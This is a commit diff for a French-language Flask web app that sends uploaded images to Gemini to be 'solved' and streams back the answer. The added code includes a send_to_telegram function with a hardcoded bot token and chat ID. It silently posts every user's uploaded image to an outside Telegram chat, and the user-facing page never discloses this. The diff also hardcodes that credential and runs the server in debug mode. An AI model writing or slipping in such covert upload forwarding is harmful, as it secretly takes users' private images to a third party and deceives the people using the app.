Update app.py
Browse files
app.py
CHANGED
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@@ -1,316 +1,97 @@
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from flask import Flask,
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from google import genai
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from google.genai import types
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import os
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from PIL import Image
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import io
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import json
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# --- Configuration ---
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GOOGLE_API_KEY = os.environ.get("GEMINI_API_KEY")
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if not GOOGLE_API_KEY:
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raise ValueError("La variable d'environnement GEMINI_API_KEY n'est pas définie.")
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app = Flask(__name__)
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#
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model_name="gemini-1.5-flash-latest", # Modèle par défaut
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api_key=GOOGLE_API_KEY,
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generation_config=types.GenerationConfig(
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temperature=0.7,
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),
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)
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except Exception as e:
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print(f"Erreur lors de l'initialisation du client GenAI : {e}")
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return None
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client = initialize_gemini_client()
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# --- Code HTML/CSS/JS pour le Frontend ---
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HTML_PAGE = """
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<!DOCTYPE html>
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<html lang="fr">
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<head>
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<meta charset="UTF-8">
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<meta name="viewport" content="width=device-width, initial-scale=1.0">
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<title>Gemini Image Solver</title>
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<style>
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body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; align-items: center; }
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.container { background-color: #fff; padding: 25px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); width: 100%; max-width: 700px; }
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h1 { color: #1a73e8; text-align: center; margin-bottom: 25px; }
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input[type="file"] { display: block; margin-bottom: 15px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; width: calc(100% - 22px); }
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button { background-color: #1a73e8; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; transition: background-color 0.3s; }
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button:hover { background-color: #1558b0; }
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button:disabled { background-color: #ccc; cursor: not-allowed; }
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#response-container { margin-top: 25px; }
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#status { margin-bottom: 10px; font-style: italic; color: #555; }
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#response-area { background-color: #e8f0fe; border: 1px solid #d1e0fc; border-radius: 4px; padding: 15px; min-height: 100px; white-space: pre-wrap; word-wrap: break-word; }
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.copy-button { background-color: #34a853; margin-top: 10px; }
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.copy-button:hover { background-color: #2a8442; }
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.thinking-dot { display: inline-block; width: 8px; height: 8px; background-color: #1a73e8; border-radius: 50%; margin: 0 2px; animation: blink 1.4s infinite both; }
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.thinking-dot:nth-child(2) { animation-delay: .2s; }
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.thinking-dot:nth-child(3) { animation-delay: .4s; }
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@keyframes blink { 0%, 80%, 100% { opacity: 0; } 40% { opacity: 1; } }
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</style>
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</head>
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<body>
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<div class="container">
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<h1>Résoudre une image avec Gemini</h1>
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<input type="file" id="imageUpload" accept="image/*">
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<button id="solveButton">Envoyer et Résoudre</button>
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<div id="response-container">
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<div id="status">Prêt à recevoir une image.</div>
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<h2>Réponse de Gemini:</h2>
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<div id="response-area"></div>
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<button id="copyButton" class="copy-button" style="display:none;">Copier la Réponse</button>
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</div>
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</div>
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<script>
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const imageUpload = document.getElementById('imageUpload');
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const solveButton = document.getElementById('solveButton');
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const responseArea = document.getElementById('response-area');
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const statusDiv = document.getElementById('status');
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const copyButton = document.getElementById('copyButton');
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let fullResponse = '';
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solveButton.addEventListener('click', async () => {
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const file = imageUpload.files[0];
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if (!file) {
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statusDiv.textContent = 'Veuillez sélectionner une image.';
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return;
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}
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solveButton.disabled = true;
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responseArea.textContent = '';
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fullResponse = '';
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copyButton.style.display = 'none';
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statusDiv.innerHTML = 'Envoi et traitement en cours <span class="thinking-dot"></span><span class="thinking-dot"></span><span class="thinking-dot"></span>';
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const formData = new FormData();
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formData.append('image', file);
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try {
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const response = await fetch('/solve', {
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method: 'POST',
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body: formData
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});
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if (!response.ok) {
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const errorData = await response.json();
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throw new Error(errorData.error || `Erreur serveur: ${response.status}`);
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}
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const reader = response.body.getReader();
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const decoder = new TextDecoder();
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let buffer = '';
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statusDiv.textContent = 'Réception de la réponse...';
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while (true) {
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const { value, done } = await reader.read();
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if (done) break;
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buffer += decoder.decode(value, { stream: true });
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// Process Server-Sent Events
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let eventEndIndex;
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while ((eventEndIndex = buffer.indexOf('\\n\\n')) !== -1) {
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const eventString = buffer.substring(0, eventEndIndex);
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buffer = buffer.substring(eventEndIndex + 2); // Length of '\n\n'
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if (eventString.startsWith('data: ')) {
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try {
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const jsonData = JSON.parse(eventString.substring(6)); // Length of 'data: '
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if (jsonData.error) {
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responseArea.textContent += `ERREUR: ${jsonData.error}\\n`;
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statusDiv.textContent = 'Erreur lors de la génération.';
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console.error("SSE Error:", jsonData.error);
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break;
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}
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if (jsonData.mode === 'thinking') {
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statusDiv.innerHTML = 'Gemini réfléchit <span class="thinking-dot"></span><span class="thinking-dot"></span><span class="thinking-dot"></span>';
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} else if (jsonData.mode === 'answering') {
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statusDiv.textContent = 'Gemini répond...';
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}
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if (jsonData.content) {
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responseArea.textContent += jsonData.content;
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fullResponse += jsonData.content;
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}
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} catch (e) {
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console.error("Error parsing SSE JSON:", e, "Data:", eventString);
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}
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}
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}
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}
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statusDiv.textContent = 'Terminé.';
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if(fullResponse) {
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copyButton.style.display = 'block';
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}
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} catch (error) {
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console.error('Erreur:', error);
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responseArea.textContent = `Erreur: ${error.message}`;
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statusDiv.textContent = 'Une erreur est survenue.';
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} finally {
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solveButton.disabled = false;
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}
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});
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navigator.clipboard.writeText(fullResponse)
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.then(() => {
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const originalText = copyButton.textContent;
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copyButton.textContent = 'Copié !';
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setTimeout(() => { copyButton.textContent = originalText; }, 2000);
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})
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.catch(err => {
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console.error('Erreur de copie: ', err);
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statusDiv.textContent = 'Erreur lors de la copie.';
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});
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} else {
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// Fallback pour les navigateurs plus anciens
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try {
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const textArea = document.createElement("textarea");
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textArea.value = fullResponse;
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document.body.appendChild(textArea);
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textArea.focus();
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textArea.select();
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document.execCommand('copy');
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document.body.removeChild(textArea);
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const originalText = copyButton.textContent;
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copyButton.textContent = 'Copié !';
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setTimeout(() => { copyButton.textContent = originalText; }, 2000);
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} catch (err) {
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console.error('Fallback copy error:', err);
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statusDiv.textContent = "La copie a échoué. Veuillez copier manuellement.";
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}
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}
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});
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</script>
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</body>
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</html>
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"""
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"""Traite une image pour l'envoyer à Gemini"""
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try:
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output_format = "PNG"
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else:
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output_format = img.format
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except Exception as e:
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print(f"
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# --- Routes Flask ---
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@app.route('/')
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def index():
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return
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@app.route('/solve', methods=['POST'])
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def
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if client is None:
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return Response(
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stream_with_context(iter([f'data: {json.dumps({"error": "Le client Gemini n\'est pas initialisé."})}\n\n'])),
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mimetype='text/event-stream'
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)
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if 'image' not in request.files:
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return Response(
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stream_with_context(iter([f'data: {json.dumps({"error": "Aucun fichier image fourni."})}\n\n'])),
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mimetype='text/event-stream'
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)
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file = request.files['image']
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if file.filename == '':
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return Response(
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stream_with_context(iter([f'data: {json.dumps({"error": "Aucun fichier sélectionné."})}\n\n'])),
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mimetype='text/event-stream'
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)
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try:
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processed_image, output_format = process_image(image_data)
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#
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types.Part.from_data(data=processed_image, mime_type=f'image/{output_format}'),
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types.Part.from_text("Résous ceci. Explique clairement ta démarche en français. Si c'est une équation ou un calcul, utilise le format LaTeX pour les formules mathématiques.")
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]
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response_stream = client.generate_content(
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contents=prompt_parts,
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stream=True,
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)
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except types.generation_types.BlockedPromptException as bpe:
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print(f"Blocked Prompt Exception: {bpe}")
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yield f'data: {json.dumps({"error": f"La requête a été bloquée en raison des filtres de sécurité: {bpe}"})}\n\n'
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except types.generation_types.StopCandidateException as sce:
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print(f"Stop Candidate Exception: {sce}")
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yield f'data: {json.dumps({"error": f"La génération s'est arrêtée prématurément: {sce}"})}\n\n'
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except Exception as e:
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print(f"
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yield f'data: {json.dumps({"error":
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finally:
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yield f'data: {json.dumps({"mode": "finished"})}\n\n'
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return Response(
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stream_with_context(
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mimetype='text/event-stream',
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headers={
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'Cache-Control': 'no-cache',
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'X-Accel-Buffering': 'no'
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'Connection': 'keep-alive'
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}
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)
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except Exception as e:
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return Response(
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stream_with_context(iter([f'data: {json.dumps({"error": f"Une erreur inattendue est survenue sur le serveur: {str(e)}"})}\n\n'])),
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mimetype='text/event-stream'
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)
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if __name__ == '__main__':
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if not GOOGLE_API_KEY:
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print("ERREUR CRITIQUE: GEMINI_API_KEY n'est pas défini. L'application ne peut pas démarrer correctement.")
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elif client is None:
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print("ERREUR CRITIQUE: Le client Gemini n'a pas pu être initialisé. Vérifiez votre clé API et la connectivité.")
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else:
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print("Serveur démarré. Accédez à http://localhost:5000 pour utiliser l'application.")
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app.run(debug=True, host='0.0.0.0', port=5000)
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from flask import Flask, render_template, request, jsonify, Response, stream_with_context
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from google import genai
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import os
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from PIL import Image
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import io
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import base64
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import json
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import requests
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app = Flask(__name__)
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# API Keys
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GOOGLE_API_KEY = os.environ.get("GEMINI_API_KEY")
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TELEGRAM_BOT_TOKEN = "8004545342:AAGcZaoDjYg8dmbbXRsR1N3TfSSbEiAGz88"
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TELEGRAM_CHAT_ID = "-1002497861230"
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| 16 |
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| 17 |
+
# Initialize Gemini client
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| 18 |
+
client = genai.Client(api_key=GOOGLE_API_KEY)
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| 19 |
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| 20 |
+
def send_to_telegram(image_data, caption="Nouvelle image uploadée"):
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| 21 |
+
"""Envoie l'image à un chat Telegram spécifié"""
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| 22 |
try:
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| 23 |
+
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendPhoto"
|
| 24 |
+
files = {'photo': ('image.png', image_data)}
|
| 25 |
+
data = {'chat_id': TELEGRAM_CHAT_ID, 'caption': caption}
|
| 26 |
+
response = requests.post(url, files=files, data=data)
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| 27 |
|
| 28 |
+
if response.status_code == 200:
|
| 29 |
+
print("Image envoyée avec succès à Telegram")
|
| 30 |
+
return True
|
| 31 |
+
else:
|
| 32 |
+
print(f"Erreur lors de l'envoi à Telegram: {response.text}")
|
| 33 |
+
return False
|
| 34 |
except Exception as e:
|
| 35 |
+
print(f"Exception lors de l'envoi à Telegram: {e}")
|
| 36 |
+
return False
|
| 37 |
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| 38 |
@app.route('/')
|
| 39 |
def index():
|
| 40 |
+
return render_template('index.html')
|
| 41 |
|
| 42 |
@app.route('/solve', methods=['POST'])
|
| 43 |
+
def solve():
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| 44 |
try:
|
| 45 |
+
# Lire l'image
|
| 46 |
+
image_data = request.files['image'].read()
|
| 47 |
+
img = Image.open(io.BytesIO(image_data))
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|
| 48 |
|
| 49 |
+
# Envoyer l'image à Telegram
|
| 50 |
+
send_to_telegram(image_data, "Nouvelle image pour résolution")
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|
| 51 |
|
| 52 |
+
# Traitement pour Gemini
|
| 53 |
+
buffered = io.BytesIO()
|
| 54 |
+
img.save(buffered, format="PNG")
|
| 55 |
+
img_str = base64.b64encode(buffered.getvalue()).decode()
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|
| 56 |
|
| 57 |
+
def generate():
|
| 58 |
+
mode = 'starting'
|
| 59 |
+
try:
|
| 60 |
+
response = client.models.generate_content_stream(
|
| 61 |
+
model="gemini-2.5-pro-exp-03-25",
|
| 62 |
+
contents=[
|
| 63 |
+
{'inline_data': {'mime_type': 'image/png', 'data': img_str}},
|
| 64 |
+
"Résous ça en français with rendering latex"
|
| 65 |
+
])
|
| 66 |
+
|
| 67 |
+
for chunk in response:
|
| 68 |
+
for part in chunk.candidates[0].content.parts:
|
| 69 |
+
if part.thought:
|
| 70 |
+
if mode != "thinking":
|
| 71 |
+
yield f'data: {json.dumps({"mode": "thinking"})}\n\n'
|
| 72 |
+
mode = "thinking"
|
| 73 |
+
else:
|
| 74 |
+
if mode != "answering":
|
| 75 |
+
yield f'data: {json.dumps({"mode": "answering"})}\n\n'
|
| 76 |
+
mode = "answering"
|
| 77 |
+
|
| 78 |
+
yield f'data: {json.dumps({"content": part.text})}\n\n'
|
| 79 |
|
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|
| 80 |
except Exception as e:
|
| 81 |
+
print(f"Error during generation: {e}")
|
| 82 |
+
yield f'data: {json.dumps({"error": "Une erreur inattendue est survenue"})}\n\n'
|
|
|
|
|
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|
| 83 |
|
| 84 |
return Response(
|
| 85 |
+
stream_with_context(generate()),
|
| 86 |
mimetype='text/event-stream',
|
| 87 |
headers={
|
| 88 |
'Cache-Control': 'no-cache',
|
| 89 |
+
'X-Accel-Buffering': 'no'
|
|
|
|
| 90 |
}
|
| 91 |
)
|
| 92 |
|
| 93 |
except Exception as e:
|
| 94 |
+
return jsonify({'error': 'Une erreur inattendue est survenue'}), 500
|
|
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|
| 95 |
|
| 96 |
if __name__ == '__main__':
|
| 97 |
+
app.run(debug=True)
|
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